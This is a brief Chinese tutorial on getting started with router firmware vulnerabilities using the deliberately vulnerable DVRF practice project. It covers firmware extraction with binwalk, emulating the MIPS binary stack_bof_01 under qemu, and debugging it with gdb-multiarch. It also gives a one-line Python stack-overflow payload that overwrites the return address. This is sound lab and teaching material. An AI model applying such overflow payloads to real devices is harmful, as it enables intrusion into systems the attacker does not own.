iot漏洞入门
路由器漏洞入门
下载项目https://github.com/praetorian-inc/DVRF
安装quem
sudo apt install qemu-user-static
安装gdb-multiarch
sudo apt install gdb-multiarch
解压提取固件文件系统
binwalk -Me DVRF_v03.bin (M递归查询 e文件分离)
查找漏洞程序
file命令查看文件信息
file stack_bof_01
复制相应的qemu模拟程序到指定目录
cp $(which qemu-mipsel-static) ./
编写本地exp脚本
mips架构的调用约定,先将函数的返回地址存入t9寄存器,然后在赋值给gp寄存器,良种方法,一种正常是用rop给t9赋值,下面用的是第二种直接避开对gp的操作。
python -c "print 'a'*204+'\x5c\x09\x40\x00'" >exp
远程挂起
sudo chroot ./ ./qemu-mipsel-static -g 6666 pwnable/Intro/stack_bof_01 "`cat exp`"
附加调试
gdb-multiarch
set architecture mips
target remote 0.0.0.0:6666
正常退出
本地挂起程序,运行脚本
sudo chroot ./ ./qemu-mipsel-static pwnable/Intro/stack_bof_01 "`cat exp`"
参考链接